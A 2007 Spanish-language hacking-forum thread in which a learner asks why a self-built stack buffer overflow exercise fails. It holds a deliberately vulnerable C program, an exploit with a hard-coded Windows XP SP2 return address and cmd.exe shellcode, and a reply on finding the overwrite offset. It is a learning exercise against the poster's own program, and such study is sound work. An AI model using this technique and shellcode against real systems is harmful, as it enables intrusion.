elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
07 Octubre 2008, 06:28  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  porke a mi!!! que pasa con shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: porke a mi!!! que pasa con shellcode  (Leído 342 veces)
makuvex_linux

Desconectado Desconectado

Mensajes: 70


Ver Perfil
porke a mi!!! que pasa con shellcode
« en: 03 Abril 2007, 22:09 »

hola salu2

tengo un problema e querido ejecutar una shellcode que hice con un videotutorial que encontre en este foro .. ya compile los ejecutables vuln y exploit.. los compile con gcc... venia incluido con dev-cpp..  ;)

pero cuando ejecuto el exploit.. egun en el videotutorial sale una pantalla en ms-dos que carga el buffer en vuln.exe y al aparecer el error te sale el mensaje de que vuln.exe tuvo un error y aparece la que seria la shellcode... el que hizo el tutorial al parecer utilizo windows xp sp2 en ingles.. yo tambien estoy utilizando el mismo... ya revise el findjmp de ntdll y encontre lo mismo... pero a yo cuando ejecuto el exploit solo me aparece la pantalla de ms-dos por unos segundos y desaparece y ya no pasa nada.. ya intente ejecutar el exploit llendo a la direccion en ms-dos a donde tengo el archivo exploit pero cuando lo ejecuto sigue sin aparecer nada.. alguien sabe porque pasa eso.... estoy haciendo algo mal... o nose algo que deberia saber.. o alguien digame que estoy haciendo mal porfavor..

Solo que tambien no se si al revisarlo con Olly en el tutorial dice que colocando 272 caractes con "A" y los ultimos 8 de los 270 debian ser "B" y "C" pero yo tengo que colocar 272 caractes "A" y los ultimos 8 de los 272 "B" y "C"... sera por eso que no funciona mi shellcode... alguien me podria decir como arreglar el problema

o como saber si hay un cambio en el buffer que deba de hacer por la misma razon de los 272... ya que los hex para "cmd.exe" talvez cambiaron... pero como saberlo?... al parecer el que hizo el tutorial analizo el kenel32.dll para encontrar "cmd.exe".. kreo que es lo mismo para todos los window xp sp2... uds creen que con el ejemplo de rojodos de como encontrar "cmd.exe" pueda yo encontrar los hex de "cmd.exe".. auque ya lo intente... y sigue sin funcionar... pero a lo mejor debo de cambiar algo para que funcione.. les pogo el codigo para ver si me pueden ayudar

Código:

Archivo vulnerable
compilarlo como vuln.exe
compilarlo con gcc  viene incluido con dev-cpp 4.9.9.2

#include <stdio.h>
#include <string.h>
#include <windows.h>
void func(char *args);
int main (int argc, char*argv[]){
   
    if (argc != 2){
                 fprintf(stderr,"%s <Your Long Name>\n",argv[0]);
                 return EXIT_FAILURE;
                 }
                 func(argv[1]);
                 return EXIT_SUCCESS;
                 }
                 void func(char *args)
                 {
                 char buf[256];
                 strcpy(buf,args);
                 printf("You Are: %s\n",buf);
                 }



Código:

compilarlo con gcc
compilarlo como expl.exe

#include <stdio.h>
#include <windows.h>
#include <string.h>
#define SIZE 317
char payload[]=
"\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6"
"\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x6D\x13\x86\x7C"
"\xFF\xD0\xCC";
int main (int argc, char*argv[])
{
    char buf[SIZE];
    char filename[]="vuln.exe ";
    char winxp_sp2[]="\x5D\xEE\x95\x7C";
    memset(buf,'\x90',SIZE);
    memcpy(buf,filename,9);
    memcpy(buf,268+9+winxp_sp2,strlen(winxp_sp2));
    memcpy(buf+268+9+strlen(winxp_sp2),payload,strlen(payload));
    buf[SIZE-1]='\0';
    WinExec(buf,0);
   
    return EXIT_SUCCESS;
}


se les agradece la ayuda.. bye  ;D
« Última modificación: 04 Abril 2007, 02:01 por makuvex » En línea
NostraTerranius

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: porke a mi!!! que pasa con shellcode
« Respuesta #1 en: 05 Abril 2007, 19:49 »

Antes de nada, comprueba realmente que pete el vuln.exe (aunque tiene toda la pinta de que petara, salvo que tengas el DEP puesto para programitas)

Ejecuta vuln.exe AAAAA(un huevo de AAAs, mas de 300)AAAAAAA

Te debera petar el programa diciendote que no se puede ejecutar la direccion 0x41414141

Si no sale eso, o el vuln esta mal, o tienes activado algun mecanismo anti overflows (como el DEP de Win XP SP2) o tu compilador ha hecho algo raro.

Luego comprueba exactamente donde debe ir el salto a la ntdll.dll. Eso yo lo hago con el AAAABBBBCCCC....

Al meterle eso al vuln.exe, si te peta en 0x42424242 es que cae en BBBB, con lo que tendras que cambiar BBBB por el offset del salto (en este caso lo tienes en winxp_sp2). Si te peta en 0x41414242, es que cae en AABB, con lo que ya sabes que tienes que ajustarlo.

Finalmente, comprueba que la shellcode hace lo que deberia hacer. Una shellcode tan pequeña no te va a hacer un bindport, pero nunca se sabe. Currate un mini codigo en C para comprobar que la shellcode funcione por su cuenta. Hay 2000 codigos C en internet que te comprueban que una scode hace lo que debe hacer.

Espero que te sirva de ayuda.
En línea
makuvex_linux

Desconectado Desconectado

Mensajes: 70


Ver Perfil
Re: porke a mi!!! que pasa con shellcode
« Respuesta #2 en: 07 Abril 2007, 22:14 »

hola salu2

gracias por la respuesta... cuando coloque mas de 300 A´s en olly no me aparecio ningun mensaje pero todo desaparecio y a un lado en EIP me aparecio 41414141... y en la parte de abajo de olly sale un mensaje diciendo Access Violation when executing 41414141... me imagino que ese debe de ser el mensaje de error..

Ahora... para lograr ver el salto ntdll.dll de 42424242... tuve que aumentar de 272 caractes "A" y los ultimos 8 de los 272 "B" y "C"... a 276 caracteres "A" y los ultimos 8 de los 276 "B" y "C"...

Talvez lo que tengo mal es char payload... en el tutorial de rojodos... coloca un codigo para encontrarlo... pero creo que ese codigo no es siempre seguro utilizarlo.. ya que dice que hay funciones de exploits que no lo utlizan.. uds como encuentran esto...

Código:

char payload[]=
"\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6"
"\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x6D\x13\x86\x7C"
"\xFF\xD0\xCC";



porque quiero revisar si es el mismo que el mio... ya que a mi me sale diferente, pero yo utilizo el codigo de rodojos para encontrar la shellcode donde se ejecutaria ms-dos basandose en msvcrt.dll , pero no se si haya una forma mucho mejor de buscar esto... talvez esto es diferente en mi computadora...

y porcierto.. lo de DEP.. si lo tengo pero por lo mientras hice que se excluyeran los ejemplos para ver si funcionaban.. pero siguen sin funcionar...

otra cosa...

alguien conoce un exploit con el que pueda practicar.. pero que mi antivirus pueda eliminarlo porfavor, para no tener problemas despues por ese exploit...

Se les agradece la ayuda...  ;D
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats